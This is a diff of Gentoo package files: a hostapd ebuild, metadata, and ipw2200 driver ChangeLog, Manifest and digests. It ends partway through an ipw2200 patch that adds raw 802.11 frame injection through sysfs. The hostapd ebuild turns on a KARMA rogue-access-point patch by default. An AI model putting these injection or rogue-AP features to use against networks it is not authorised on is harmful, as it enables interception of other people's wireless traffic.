+# $Header: /var/cvsroot/gentoo-x86/net-wireless/hostapd/hostapd-1.0-r4.ebuild,v 1.4 2012/10/12 00:52:20 blueness Exp $
+
+EAPI="4"
+
+inherit toolchain-funcs eutils
+
+DESCRIPTION="IEEE 802.11 wireless LAN Host AP daemon"
+HOMEPAGE="http://hostap.epitest.fi"
+SRC_URI="http://hostap.epitest.fi/releases/${P}.tar.gz"
+
+LICENSE="|| ( GPL-2 BSD )"
+SLOT="0"
+KEYWORDS="amd64 ~mips ppc x86"
+IUSE="cui debug ipv6 +karma logwatch madwifi +ssl +wps +crda"
+
+DEPEND="ssl? ( dev-libs/openssl )
+ kernel_linux? (
+ dev-libs/libnl:3
+ crda? ( net-wireless/crda )
+ )
+ madwifi? ( ||
+ ( >net-wireless/madwifi-ng-tools-0.9.3
+ net-wireless/madwifi-old ) )"
+RDEPEND="${DEPEND}"
+
+S="${S}/${PN}"
+
+src_prepare() {
+ cd ..
+ epatch "${FILESDIR}/${P}-libnl_path_fix.patch"
+ epatch "${FILESDIR}/${P}-tls_length_fix.patch"
+ use karma && epatch "${FILESDIR}/${P}-karma-0.2.patch"
+ use cui && epatch "${FILESDIR}/cui-20120417.patch"
+
+ sed -i -e "s:/etc/hostapd:/etc/hostapd/hostapd:g" \
+ "${S}/hostapd.conf" || die
+}
+
+src_configure() {
+ local CONFIG="${S}/.config"
+
+ # toolchain setup
+ echo "CC = $(tc-getCC)" > ${CONFIG}
+
+ # EAP authentication methods
+ echo "CONFIG_EAP=y" >> ${CONFIG}
+ echo "CONFIG_EAP_MD5=y" >> ${CONFIG}
+
+ if use ssl; then
+ # SSL authentication methods
+ echo "CONFIG_EAP_TLS=y" >> ${CONFIG}
+ echo "CONFIG_EAP_TTLS=y" >> ${CONFIG}
+ echo "CONFIG_EAP_MSCHAPV2=y" >> ${CONFIG}
+ echo "CONFIG_EAP_PEAP=y" >> ${CONFIG}
+ fi
+
+ if use wps; then
+ # Enable Wi-Fi Protected Setup
+ echo "CONFIG_WPS=y" >> ${CONFIG}
+ echo "CONFIG_WPS2=y" >> ${CONFIG}
+ echo "CONFIG_WPS_UPNP=y" >> ${CONFIG}
+ einfo "Enabling Wi-Fi Protected Setup support"
+ fi
+
+ echo "CONFIG_EAP_GTC=y" >> ${CONFIG}
+ echo "CONFIG_EAP_SIM=y" >> ${CONFIG}
+ echo "CONFIG_EAP_AKA=y" >> ${CONFIG}
+ echo "CONFIG_EAP_PAX=y" >> ${CONFIG}
+ echo "CONFIG_EAP_PSK=y" >> ${CONFIG}
+ echo "CONFIG_EAP_SAKE=y" >> ${CONFIG}
+ echo "CONFIG_EAP_GPSK=y" >> ${CONFIG}
+ echo "CONFIG_EAP_GPSK_SHA256=y" >> ${CONFIG}
+
+ einfo "Enabling drivers: "
+
+ # drivers
+ echo "CONFIG_DRIVER_HOSTAP=y" >> ${CONFIG}
+ einfo " HostAP driver enabled"
+ echo "CONFIG_DRIVER_WIRED=y" >> ${CONFIG}
+ einfo " Wired driver enabled"
+ echo "CONFIG_DRIVER_PRISM54=y" >> ${CONFIG}
+ einfo " Prism54 driver enabled"
+ echo "CONFIG_DRIVER_NONE=y" >> ${CONFIG}
+ einfo " None driver enabled"
+
+ if use madwifi; then
+ # Add include path for madwifi-driver headers
+ einfo " Madwifi driver enabled"
+ echo "CFLAGS += -I/usr/include/madwifi" >> ${CONFIG}
+ echo "CONFIG_DRIVER_MADWIFI=y" >> ${CONFIG}
+ else
+ einfo " Madwifi driver disabled"
+ fi
+
+ einfo " nl80211 driver enabled"
+ echo "CONFIG_DRIVER_NL80211=y" >> ${CONFIG}
+ echo "CFLAGS += -I/usr/include/netlink" >> ${CONFIG}
+ echo "LIBS += -L/usr/lib" >> ${CONFIG}
+
+ # misc
+ echo "CONFIG_PKCS12=y" >> ${CONFIG}
+ echo "CONFIG_RADIUS_SERVER=y" >> ${CONFIG}
+ echo "CONFIG_IAPP=y" >> ${CONFIG}
+ echo "CONFIG_IEEE80211R=y" >> ${CONFIG}
+ echo "CONFIG_IEEE80211W=y" >> ${CONFIG}
+ echo "CONFIG_IEEE80211N=y" >> ${CONFIG}
+ echo "CONFIG_PEERKEY=y" >> ${CONFIG}
+ echo "CONFIG_RSN_PREAUTH=y" >> ${CONFIG}
+ echo "CONFIG_INTERWORKING=y" >> ${CONFIG}
+
+ if use ipv6; then
+ # IPv6 support
+ echo "CONFIG_IPV6=y" >> ${CONFIG}
+ fi
+
+ if ! use debug; then
+ echo "CONFIG_NO_STDOUT_DEBUG=y" >> ${CONFIG}
+ fi
+
+ # If we are using libnl 2.0 and above, enable support for it
+ # Removed for now, since the 3.2 version is broken, and we don't
+ # support it.
+ if has_version ">=dev-libs/libnl-3.2"; then
+ echo "CONFIG_LIBNL32=y" >> .config
+ fi
+
+ # TODO: Add support for BSD drivers
+
+ default_src_configure
+}
+
+src_compile() {
+ emake V=1
+
+ if use ssl; then
+ emake V=1 nt_password_hash
+ emake V=1 hlr_auc_gw
+ fi
+}
+
+src_install() {
+ insinto /etc/${PN}
+ doins ${PN}.{conf,accept,deny,eap_user,radius_clients,sim_db,wpa_psk}
+
+ fperms -R 600 /etc/${PN}
+
+ dosbin ${PN}
+ dobin ${PN}_cli
+
+ use ssl && dobin nt_password_hash hlr_auc_gw
+
+ newinitd "${FILESDIR}"/${PN}-init.d ${PN}
+ newconfd "${FILESDIR}"/${PN}-conf.d ${PN}
+
+ doman ${PN}{.8,_cli.1}
+
+ dodoc ChangeLog README
+ use wps && dodoc README-WPS
+
+ docinto examples
+ dodoc wired.conf
+
+ if use logwatch; then
+ insinto /etc/log.d/conf/services/
+ doins logwatch/${PN}.conf
+
+ exeinto /etc/log.d/scripts/services/
+ doexe logwatch/${PN}
+ fi
+}
+
+pkg_postinst() {
+ einfo
+ einfo "In order to use ${PN} you need to set up your wireless card"
+ einfo "for master mode in /etc/conf.d/net and then start"
+ einfo "/etc/init.d/${PN}."
+ einfo
+ einfo "Example configuration:"
+ einfo
+ einfo "config_wlan0=( \"192.168.1.1/24\" )"
+ einfo "channel_wlan0=\"6\""
+ einfo "essid_wlan0=\"test\""
+ einfo "mode_wlan0=\"master\""
+ einfo
+ if use madwifi; then
+ einfo "This package compiles against the headers installed by"
+ einfo "madwifi-old, madwifi-ng or madwifi-ng-tools."
+ einfo "You should remerge ${PN} after upgrading these packages."
+ einfo
+ einfo "Since you are using the madwifi-ng driver, you should disable or"
+ einfo "comment out wme_enabled from ${PN}.conf, since it will"
+ einfo "cause problems otherwise (see bug #260377"
+ fi
+ #if [ -e "${KV_DIR}"/net/mac80211 ]; then
+ # einfo "This package now compiles against the headers installed by"
+ # einfo "the kernel source for the mac80211 driver. You should "
+ # einfo "re-emerge ${PN} after upgrading your kernel source."
+ #fi
+
+ if use wps; then
+ einfo "You have enabled Wi-Fi Protected Setup support, please"
+ einfo "read the README-WPS file in /usr/share/doc/${P}"
+ einfo "for info on how to use WPS"
+ fi
+}
diff --git a/net-wireless/hostapd/metadata.xml b/net-wireless/hostapd/metadata.xml
new file mode 100644
index 00000000..f20867c4
--- /dev/null
+++ b/net-wireless/hostapd/metadata.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <herd>mobile</herd>
+ <maintainer>
+ <email>gurligebis@gentoo.org</email>
+ <name>Bjarke Istrup Pedersen</name>
+ </maintainer>
+ <longdescription>
+ User space daemon for the hostap-driver.
+ Extended IEEE 802.11 management, IEEE 802.1X Authenticator,
+ RADIUS Authentication client, RADIUS Accounting client
+ </longdescription>
+ <use>
+ <flag name='debug'>Enables debugging</flag>
+ <flag name='logwatch'>Install support files for
+ <pkg>sys-app/logwatch</pkg></flag>
+ <flag name='madwifi'>Add support for madwifi (Atheros chipset)</flag>
+ <flag name='wps'>Add support for Wi-Fi Protected Setup</flag>
+ </use>
+</pkgmetadata>
diff --git a/net-wireless/ipw2200/ChangeLog b/net-wireless/ipw2200/ChangeLog
new file mode 100644
index 00000000..5c4dc899
--- /dev/null
+++ b/net-wireless/ipw2200/ChangeLog
@@ -0,0 +1,396 @@
+# ChangeLog for net-wireless/ipw2200
+# Copyright 1999-2006 Gentoo Foundation; Distributed under the GPL v2
+# $Header: /var/cvsroot/gentoo-x86/net-wireless/ipw2200/ChangeLog,v 1.70 2006/09/13 12:33:35 phreak Exp $
+
+*ipw2200-1.2.0 (13 Sep 2006)
+
+ 13 Sep 2006; Christian Heim <phreak@gentoo.org>
+ +files/ipw2200-1.2.0-modverdir.patch, +ipw2200-1.2.0.ebuild:
+ Version bump. Fixes #147319 (thanks David Li for reporting).
+
+*ipw2200-1.1.3 (13 Jul 2006)
+
+ 13 Jul 2006; Christian Heim <phreak@gentoo.org>
+ +files/ipw2200-1.1.3-modverdir.patch, metadata.xml, +ipw2200-1.1.3.ebuild:
+ Version bump; Taking temporary maintainership
+
+ 30 Apr 2006; Henrik Brix Andersen <brix@gentoo.org>
+ -files/ipw2200-1.0.8-broadcast.patch,
+ -files/ipw2200-1.0.8-slabcorrupt.patch, -files/ipw2200-1.0.8-txbusy.patch,
+ -files/ipw2200-1.0.9-qos.patch, -files/ipw2200-1.0.11-debug.patch,
+ -files/ipw2200-1.1.1-diversity.patch,
+ -files/ipw2200-1.1.1-fw_endian.patch, -ipw2200-1.0.8-r1.ebuild,
+ -ipw2200-1.0.9.ebuild, -ipw2200-1.0.10.ebuild, -ipw2200-1.0.11.ebuild,
+ -ipw2200-1.0.11-r1.ebuild, -ipw2200-1.0.12.ebuild, -ipw2200-1.0.13.ebuild,
+ -ipw2200-1.1.0.ebuild, -ipw2200-1.1.1.ebuild, -ipw2200-1.1.1-r1.ebuild,
+ -ipw2200-1.1.2.ebuild:
+ Pruned old ebuilds.
+
+ 22 Apr 2006; Henrik Brix Andersen <brix@gentoo.org>
+ ipw2200-1.1.2-r1.ebuild:
+ Stable on x86.
+
+*ipw2200-1.1.2-r1 (11 Apr 2006)
+
+ 11 Apr 2006; Henrik Brix Andersen <brix@gentoo.org>
+ +files/ipw2200-1.1.2-cflags.patch, +files/ipw2200-1.1.2-scan_fix.patch,
+ +ipw2200-1.1.2-r1.ebuild:
+ Add a couple of patches from upstream.
+
+ 02 Apr 2006; Henrik Brix Andersen <brix@gentoo.org>
+ files/digest-ipw2200-1.1.2, Manifest:
+ Updated digest to match changed distribution file, thanks to StijnT.
+
+ 26 Mar 2006; Henrik Brix Andersen <brix@gentoo.org> ipw2200-1.1.0.ebuild:
+ Stable on x86.
+
+ 25 Mar 2006; Henrik Brix Andersen <brix@gentoo.org>
+ -files/ipw2200-1.1.1-rtap_iface.patch, ipw2200-1.1.1-r1.ebuild:
+ Move large patch to mirrors, thanks to Halcy0n in bug #123634.
+
+*ipw2200-1.1.1-r1 (24 Mar 2006)
+
+ 24 Mar 2006; Henrik Brix Andersen <brix@gentoo.org>
+ +files/ipw2200-1.1.1-diversity.patch,
+ +files/ipw2200-1.1.1-fw_endian.patch,
+ +files/ipw2200-1.1.1-rtap_iface.patch, +ipw2200-1.1.1-r1.ebuild:
+ Added various updates from upstream.
+
+*ipw2200-1.1.1 (08 Mar 2006)
+
+ 08 Mar 2006; Henrik Brix Andersen <brix@gentoo.org> +ipw2200-1.1.1.ebuild:
+ Version bump.
+
+*ipw2200-1.1.0 (24 Feb 2006)
+
+ 24 Feb 2006; Henrik Brix Andersen <brix@gentoo.org> +ipw2200-1.1.0.ebuild:
+ Version bump.
+
+ 23 Feb 2006; Henrik Brix Andersen <brix@gentoo.org>
+ -files/ipw2200-1.0.1-is_multicast_ether_addr.patch,
+ -files/ipw2200-1.0.1-suspend2.patch,
+ -files/ipw2200-1.0.3-is_multicast_ether_addr.patch,
+ -files/ipw2200-1.0.3-suspend2.patch,
+ -files/ipw2200-1.0.4-is_multicast_ether_addr.patch,
+ -files/ipw2200-1.0.6-a_txpow.patch, -files/ipw2200-1.0.6-broadcast.patch,
+ -files/ipw2200-1.0.6-channel_change_fw_err.patch,
+ -files/ipw2200-1.0.6-dup-without-retry.patch,
+ -files/ipw2200-1.0.6-hwcrypt-wpa-fix4.patch,
+ -files/ipw2200-1.0.6-ibss-wep.patch, -files/ipw2200-1.0.6-init_scan.patch,
+ -files/ipw2200-1.0.6-irq_override.patch,
+ -files/ipw2200-1.0.6-monitor_wep_fix.patch,
+ -files/ipw2200-1.0.6-open_frag.patch,
+ -files/ipw2200-1.0.6-pci_link-fix.patch,
+ -files/ipw2200-1.0.6-reset-mode-fix.patch,
+ -files/ipw2200-1.0.6-suspend2.patch, -files/ipw2200-1.0.7-broadcast.patch,
+ -files/ipw2200-1.0.7-wireless_ext-capa.patch, -ipw2200-1.0.1.ebuild,
+ -ipw2200-1.0.3.ebuild, -ipw2200-1.0.4.ebuild, -ipw2200-1.0.5.ebuild,
+ -ipw2200-1.0.6.ebuild, -ipw2200-1.0.6-r1.ebuild, -ipw2200-1.0.6-r2.ebuild,
+ -ipw2200-1.0.6-r3.ebuild, -ipw2200-1.0.7.ebuild, -ipw2200-1.0.7-r1.ebuild,
+ -ipw2200-1.0.8.ebuild:
+ Pruned old ebuilds.
+
+ 22 Feb 2006; Henrik Brix Andersen <brix@gentoo.org> ipw2200-1.0.10.ebuild:
+ Stable on x86.
+
+*ipw2200-1.0.13 (22 Feb 2006)
+
+ 22 Feb 2006; Henrik Brix Andersen <brix@gentoo.org>
+ +ipw2200-1.0.13.ebuild:
+ Version bump.
+
+*ipw2200-1.0.12 (17 Feb 2006)
+
+ 17 Feb 2006; Henrik Brix Andersen <brix@gentoo.org>
+ +ipw2200-1.0.12.ebuild:
+ Version bump.
+
+*ipw2200-1.0.11-r1 (15 Feb 2006)
+
+ 15 Feb 2006; Henrik Brix Andersen <brix@gentoo.org>
+ +files/ipw2200-1.0.11-debug.patch, +ipw2200-1.0.11-r1.ebuild:
+ Fix debug support.
+
+*ipw2200-1.0.11 (15 Feb 2006)
+
+ 15 Feb 2006; Henrik Brix Andersen <brix@gentoo.org>
+ +ipw2200-1.0.11.ebuild:
+ Version bump.
+
+*ipw2200-1.0.10 (09 Jan 2006)
+
+ 09 Jan 2006; Henrik Brix Andersen <brix@gentoo.org>
+ +ipw2200-1.0.10.ebuild:
+ Version bump.
+
+*ipw2200-1.0.9 (06 Jan 2006)
+
+ 06 Jan 2006; Henrik Brix Andersen <brix@gentoo.org>
+ +files/ipw2200-1.0.9-qos.patch, +ipw2200-1.0.9.ebuild:
+ Version bump.
+
+ 17 Nov 2005; Henrik Brix Andersen <brix@gentoo.org>
+ ipw2200-1.0.8-r1.ebuild:
+ Stable on x86.
+
+*ipw2200-1.0.8-r1 (17 Nov 2005)
+
+ 17 Nov 2005; Henrik Brix Andersen <brix@gentoo.org>
+ +files/ipw2200-1.0.8-broadcast.patch,
+ +files/ipw2200-1.0.8-slabcorrupt.patch, +files/ipw2200-1.0.8-txbusy.patch,
+ +ipw2200-1.0.8-r1.ebuild:
+ Added a few upstream patches.
+
+*ipw2200-1.0.8 (21 Oct 2005)
+
+ 21 Oct 2005; Henrik Brix Andersen <brix@gentoo.org> +ipw2200-1.0.8.ebuild:
+ Version bump.
+
+*ipw2200-1.0.7-r1 (20 Oct 2005)
+
+ 20 Oct 2005; Henrik Brix Andersen <brix@gentoo.org>
+ +files/ipw2200-1.0.7-broadcast.patch,
+ +files/ipw2200-1.0.7-wireless_ext-capa.patch, +ipw2200-1.0.7-r1.ebuild:
+ Patch from upstream to fix broadcast issues and compile problems with older
+ wireless extensions.
+
+*ipw2200-1.0.7 (18 Oct 2005)
+
+ 18 Oct 2005; Henrik Brix Andersen <brix@gentoo.org> +ipw2200-1.0.7.ebuild:
+ Version bump.
+
+ 15 Oct 2005; Henrik Brix Andersen <brix@gentoo.org>
+ ipw2200-1.0.6-r3.ebuild:
+ Stable on x86, bug #108613.
+
+ 08 Sep 2005; Henrik Brix Andersen <brix@gentoo.org>
+ ipw2200-1.0.6-r3.ebuild:
+ Updated to depend on >=net-wireless/ieee80211-1.0.3-r2, bug #105235.
+
+*ipw2200-1.0.6-r3 (06 Sep 2005)
+
+ 06 Sep 2005; Henrik Brix Andersen <brix@gentoo.org>
+ +files/ipw2200-1.0.6-a_txpow.patch, files/ipw2200-1.0.6-broadcast.patch,
+ +files/ipw2200-1.0.6-channel_change_fw_err.patch,
+ +files/ipw2200-1.0.6-dup-without-retry.patch,
+ +files/ipw2200-1.0.6-ibss-wep.patch, +files/ipw2200-1.0.6-init_scan.patch,
+ +files/ipw2200-1.0.6-irq_override.patch,
+ +files/ipw2200-1.0.6-monitor_wep_fix.patch,
+ +files/ipw2200-1.0.6-open_frag.patch,
+ +files/ipw2200-1.0.6-pci_link-fix.patch,
+ +files/ipw2200-1.0.6-reset-mode-fix.patch, +ipw2200-1.0.6-r3.ebuild:
+ Apply bugfixes from upstream, bail out if no ieee80211 kernel module is found.
+
+*ipw2200-1.0.6-r2 (02 Sep 2005)
+
+ 02 Sep 2005; Henrik Brix Andersen <brix@gentoo.org>
+ +files/ipw2200-1.0.6-broadcast.patch, +ipw2200-1.0.6-r2.ebuild:
+ Fix DHCP issues with some Access Points.
+
+*ipw2200-1.0.6-r1 (29 Aug 2005)
+
+ 29 Aug 2005; Henrik Brix Andersen <brix@gentoo.org>
+ +files/ipw2200-1.0.6-hwcrypt-wpa-fix4.patch,
+ +files/ipw2200-1.0.6-suspend2.patch, +ipw2200-1.0.6-r1.ebuild:
+ Add fix for WPA when using hwcrypto. Allow compiling against
+ sys-kernel/suspend2-sources-2.6.13.
+
+ 16 Aug 2005; Henrik Brix Andersen <brix@gentoo.org> ipw2200-1.0.6.ebuild:
+ Stable on x86.
+
+ 09 Aug 2005; Henrik Brix Andersen <brix@gentoo.org> ipw2200-1.0.6.ebuild:
+ Added ~amd64 keyword, bug #98823.
+
+*ipw2200-1.0.6 (14 Jul 2005)
+
+ 14 Jul 2005; <brix@gentoo.org> +ipw2200-1.0.6.ebuild:
+ Version bump.
+
+*ipw2200-1.0.5 (12 Jul 2005)
+
+ 12 Jul 2005; <brix@gentoo.org> +ipw2200-1.0.5.ebuild:
+ Version bump.
+
+ 11 Jul 2005; <brix@gentoo.org> ipw2200-1.0.1.ebuild, ipw2200-1.0.3.ebuild,
+ ipw2200-1.0.4.ebuild:
+ Block upcoming net-wireless/ieee80211 package.
+
+ 24 Jun 2005; <brix@gentoo.org>
+ +files/ipw2200-1.0.1-is_multicast_ether_addr.patch,
+ +files/ipw2200-1.0.1-suspend2.patch, +ipw2200-1.0.1.ebuild:
+ Resurrected for the 2005.1 livecd.
+
+ 20 Jun 2005; <brix@gentoo.org>
+ +files/ipw2200-1.0.3-is_multicast_ether_addr.patch, ipw2200-1.0.3.ebuild:
+ Backported patch to 1.0.3, bug #96495.
+
+ 18 Jun 2005; <brix@gentoo.org>
+ +files/ipw2200-1.0.4-is_multicast_ether_addr.patch, ipw2200-1.0.4.ebuild:
+ Apply patch for allow compiling against linux-2.6.12.
+
+*ipw2200-1.0.4 (18 May 2005)
+
+ 18 May 2005; <brix@gentoo.org> +ipw2200-1.0.4.ebuild:
+ Version bump. This release includes monitor mode and hardware-based crypto
+ support.
+
+ 15 May 2005; <brix@gentoo.org> -ipw2200-1.0.1.ebuild,
+ -ipw2200-1.0.2.ebuild, -ipw2200-1.0.2-r1.ebuild:
+ Pruned old ebuilds.
+
+ 05 May 2005; <brix@gentoo.org> +files/ipw2200-1.0.3-suspend2.patch,
+ ipw2200-1.0.3.ebuild:
+ Allow compiling against Software Suspend 2.1.8.7 patched kernel,
+ restructured ebuild.
+
+ 04 May 2005; <brix@gentoo.org> ipw2200-1.0.3.ebuild:
+ Stable on x86.
+
+ 28 Apr 2005; <brix@gentoo.org> ipw2200-1.0.2-r1.ebuild:
+ Stable on x86.
+
+*ipw2200-1.0.3 (08 Apr 2005)
+
+ 08 Apr 2005; <brix@gentoo.org> +ipw2200-1.0.3.ebuild:
+ Version bump.
+
+*ipw2200-1.0.2-r1 (05 Apr 2005)
+
+ 05 Apr 2005; <brix@gentoo.org> +ipw2200-1.0.2-r1.ebuild:
+ Fix problem with wrong tarball propagated on sf.net
+
+*ipw2200-1.0.2 (25 Mar 2005)
+
+ 25 Mar 2005; <brix@gentoo.org> ipw2200-1.0.1.ebuild, +ipw2200-1.0.2.ebuild:
+ Version bump and fix for bug #84508.
+
+ 12 Mar 2005; Henrik Brix Andersen <brix@gentoo.org> -ipw2200-1.0.0.ebuild:
+ Pruned old version.
+
+ 02 Mar 2005; Henrik Brix Andersen <brix@gentoo.org> ipw2200-1.0.1.ebuild:
+ Stable on x86.
+
+ 25 Feb 2005; Simon Stelling <blubb@gentoo.org> ipw2200-1.0.1.ebuild:
+ added ~amd64
+
+ 10 Feb 2005; Henrik Brix Andersen <brix@gentoo.org> -ipw2200-0.11.ebuild,
+ -ipw2200-0.12.ebuild, -ipw2200-0.13.ebuild, -ipw2200-0.15.ebuild,
+ -ipw2200-0.16.ebuild, -ipw2200-0.17.ebuild, -ipw2200-0.18.ebuild,
+ -ipw2200-0.19.ebuild, -ipw2200-0.21.ebuild:
+ Pruned old versions.
+
+*ipw2200-1.0.1 (08 Feb 2005)
+
+ 08 Feb 2005; Henrik Brix Andersen <brix@gentoo.org> +ipw2200-1.0.1.ebuild:
+ Version bump. This version includes preliminary WPA support.
+
+ 01 Feb 2005; Henrik Brix Andersen <brix@gentoo.org> metadata.xml:
+ Transferred ownership to brix@gentoo.org.
+
+ 01 Feb 2005; Jeremy Maitin-Shepard <jbms@gentoo.org> ipw2200-1.0.0.ebuild:
+ Replaced the ebuild with the correct version of the v 0.21 ebuild.
+
+*ipw2200-1.0.0 (01 Feb 2005)
+
+ 01 Feb 2005; Jeremy Maitin-Shepard <jbms@gentoo.org> +ipw2200-1.0.0.ebuild:
+ Version bump.
+
+*ipw2200-0.21 (18 Jan 2005)
+
+ 18 Jan 2005; Henrik Brix Andersen <brix@gentoo.org> +ipw2200-0.21.ebuild:
+ Version bump, ported to use linux-mod.eclass, split firmware from ebuild,
+ re-enabled debug, disabled yet-to-be-completed WPA and promiscuous support.
+
+ 18 Jan 2005; Henrik Brix Andersen <brix@gentoo.org> ipw2200-0.11.ebuild,
+ ipw2200-0.12.ebuild, ipw2200-0.13.ebuild, ipw2200-0.15.ebuild,
+ ipw2200-0.16.ebuild, ipw2200-0.17.ebuild, ipw2200-0.18.ebuild,
+ ipw2200-0.19.ebuild:
+ Block net-wireless/ipw2200-firmware in preparation for splitting firmware from
+ driver ebuild.
+
+*ipw2200-0.19 (22 Dec 2004)
+
+ 22 Dec 2004; Jeremy Maitin-Shepard <jbms@gentoo.org> +ipw2200-0.19.ebuild:
+ Version bump.
+
+*ipw2200-0.18 (14 Dec 2004)
+
+ 14 Dec 2004; Jeremy Maitin-Shepard <jbms@gentoo.org> +ipw2200-0.18.ebuild:
+ Version bump. Resolves bug #73801.
+
+*ipw2200-0.16 (11 Dec 2004)
+
+ 11 Dec 2004; Jeremy Maitin-Shepard <jbms@gentoo.org> +ipw2200-0.16.ebuild,
+ +ipw2200-0.17.ebuild:
+ Version bump. Resolves bug #73801.
+
+*ipw2200-0.15 (25 Nov 2004)
+
+ 25 Nov 2004; Jeremy Maitin-Shepard <jbms@gentoo.org> +ipw2200-0.15.ebuild,
+ -ipw2200-0.3.ebuild, -ipw2200-0.4-r1.ebuild, -ipw2200-0.4.ebuild,
+ -ipw2200-0.5.ebuild, -ipw2200-0.6.ebuild, -ipw2200-0.7.ebuild,
+ -ipw2200-0.8.ebuild:
+ Version bump. Resolves Bug #72473.
+
+*ipw2200-0.13 (11 Nov 2004)
+
+ 11 Nov 2004; Jeremy Maitin-Shepard <jbms@gentoo.org> +ipw2200-0.13.ebuild:
+ Version bump.
+
+*ipw2200-0.12 (16 Oct 2004)
+
+ 16 Oct 2004; Jeremy Maitin-Shepard <jbms@gentoo.org> +ipw2200-0.12.ebuild:
+ Version bump. Firmware is now installed to /lib/firmware, with a symlink to
+ /usr/lib/hotplug/firmware, rather than the reverse. Resolves bug #67641.
+
+*ipw2200-0.11 (01 Oct 2004)
+
+ 01 Oct 2004; Jeremy Maitin-Shepard <jbms@gentoo.org> +ipw2200-0.11.ebuild:
+ Version bump. Creates symlinks to the firmware in the new firmware location.
+ Resolves bug #65784 and bug #65059.
+
+*ipw2200-0.8 (19 Sep 2004)
+
+ 19 Sep 2004; Jeremy Maitin-Shepard <jbms@gentoo.org> +ipw2200-0.8.ebuild:
+ Version bump.
+
+*ipw2200-0.7 (04 Sep 2004)
+
+ 04 Sep 2004; Jeremy Maitin-Shepard <jbms@gentoo.org> +ipw2200-0.7.ebuild:
+ Version bump.
+
+*ipw2200-0.6 (02 Sep 2004)
+
+ 02 Sep 2004; Jeremy Maitin-Shepard <jbms@gentoo.org> +ipw2200-0.6.ebuild:
+ Version bump. Resolves bug #62653.
+
+*ipw2200-0.5 (02 Sep 2004)
+
+ 02 Sep 2004; Jeremy Maitin-Shepard <jbms@gentoo.org> +ipw2200-0.5.ebuild:
+ Version bump. Resolves bug #62445.
+
+*ipw2200-0.4-r1 (17 Aug 2004)
+
+ 17 Aug 2004; Jeremy Maitin-Shepard <jbms@gentoo.org> ipw2200-0.3.ebuild,
+ +ipw2200-0.4-r1.ebuild, ipw2200-0.4.ebuild:
+ A block on net-wireless/ipw2100 was added to all versions, at the
+ request of latexer, because the ieee80211 module is built by both
+ packages.
+ WPA support is now built, starting with 0.4-r1.
+
+ 16 Aug 2004; Jeremy Maitin-Shepard <jbms@gentoo.org> ipw2200-0.4.ebuild:
+ Added a check for ARC4 cryptographic support in the kernel.
+
+*ipw2200-0.4 (16 Aug 2004)
+
+ 16 Aug 2004; Jeremy Maitin-Shepard <jbms@gentoo.org> +ipw2200-0.4.ebuild:
+ Version bump. Resolves Bug #60614.
+
+*ipw2200-0.3 (14 Aug 2004)
+
+ 14 Aug 2004; Jeremy Maitin-Shepard <jbms@gentoo.org> +ipw2200-0.3.ebuild:
+ Initial ebuild, based on the ebuild for the 2100 driver, for the first
+ version of this driver that actually supports transmitting and
+ receiving data. WEP, G-band and Ad-hoc mode are currently not
+ supported by the driver. Resolves Bug #60288.
+
diff --git a/net-wireless/ipw2200/Manifest b/net-wireless/ipw2200/Manifest
new file mode 100644
index 00000000..85198a7f
--- /dev/null
+++ b/net-wireless/ipw2200/Manifest
@@ -0,0 +1,5 @@
+AUX ipw2200-1.2.0-inject.patch 2896 RMD160 dcdbe9440eaa7c5f8df13f1b1b50cd6fa8e2f823 SHA1 541e533ab8cee5127c812a376c6ec337c320f041 SHA256 c7df435dec979d6febb2e52faafe2ba9e7c3338f982f3d63109209fed58d8cc2
+AUX ipw2200-1.2.0-modverdir.patch 528 RMD160 1b704ed1ae7773ff403ea01184d39918af3a7ed0 SHA1 ae4aec08a23189a8906d37f832ef404ed6210838 SHA256 9ae31bf0d63b9c31cf74be1eeb0178da0bdedc90ab9a743397e917b7a32e8e7c
+DIST ipw2200-1.2.0.tgz 139374 RMD160 5b2e6836a552b82b0320f84b088addec21863b21 SHA1 d2b327357afc94a94701d260936b037abf4212e8 SHA256 69c7089e5ec40c2f89f841e02703e6db4c96e045131f06bafa6d5ec4a969f074
+EBUILD ipw2200-1.2.0.ebuild 2408 RMD160 93965ae3d4e390cb39fb56dad2f621bd584c56bb SHA1 4d85d1c2ef98817e5d30c58d5a09abc62a08a39e SHA256 56c3aec2b275c3d638fbb937e307fc11160e1da5381d96ad0d2b96f1a97024f3
+MISC ChangeLog 13729 RMD160 f6e6431eead73866f1e7bf8eb7c8d186d7708a3c SHA1 459f158a974254132003227ec5de51bbfeda7a09 SHA256 180654c43d98a27a15b79bcdbaca60ccdf15b3db708a200f1f6ed1700277b94c
diff --git a/net-wireless/ipw2200/files/digest-ipw2200-1.2.0 b/net-wireless/ipw2200/files/digest-ipw2200-1.2.0
new file mode 100644
index 00000000..7e92a718
--- /dev/null
+++ b/net-wireless/ipw2200/files/digest-ipw2200-1.2.0
@@ -0,0 +1,3 @@
+MD5 cfd26b4526186d61a4feeaee217493b9 ipw2200-1.2.0.tgz 139374
+RMD160 5b2e6836a552b82b0320f84b088addec21863b21 ipw2200-1.2.0.tgz 139374
+SHA256 69c7089e5ec40c2f89f841e02703e6db4c96e045131f06bafa6d5ec4a969f074 ipw2200-1.2.0.tgz 139374
diff --git a/net-wireless/ipw2200/files/ipw2200-1.2.0-inject.patch b/net-wireless/ipw2200/files/ipw2200-1.2.0-inject.patch
new file mode 100644
index 00000000..2ce56d84
--- /dev/null
+++ b/net-wireless/ipw2200/files/ipw2200-1.2.0-inject.patch
@@ -0,0 +1,98 @@
+diff -ur ipw2200-1.1.4/ipw2200.c ipw2200-1.1.4-inject/ipw2200.c
+--- ipw2200-1.1.4/ipw2200.c 2006-08-21 04:38:32.000000000 +0200
++++ ipw2200-1.1.4-inject/ipw2200.c 2006-08-23 14:20:31.000000000 +0200
+@@ -1945,6 +1945,66 @@
+ static DEVICE_ATTR(net_stats, S_IWUSR | S_IRUGO,
+ show_net_stats, store_net_stats);
+
++static int ipw_tx_skb(struct ipw_priv *priv, struct ieee80211_txb *txb, int pri);
++
++/* SYSFS INJECT */
++static ssize_t store_inject(struct device *d,
++#if LINUX_VERSION_CODE > KERNEL_VERSION(2,6,12)
++ struct device_attribute *attr,
++#endif
++ const char *buf, size_t count)
++{
++ struct ipw_priv *priv = (struct ipw_priv *)d->driver_data;
++ struct ieee80211_device *ieee = priv->ieee;
++ struct ieee80211_txb * txb;
++ struct sk_buff *skb_frag;
++ unsigned char * newbuf;
++ unsigned long flags;
++
++ // should test (ieee->is_queue_full)
++
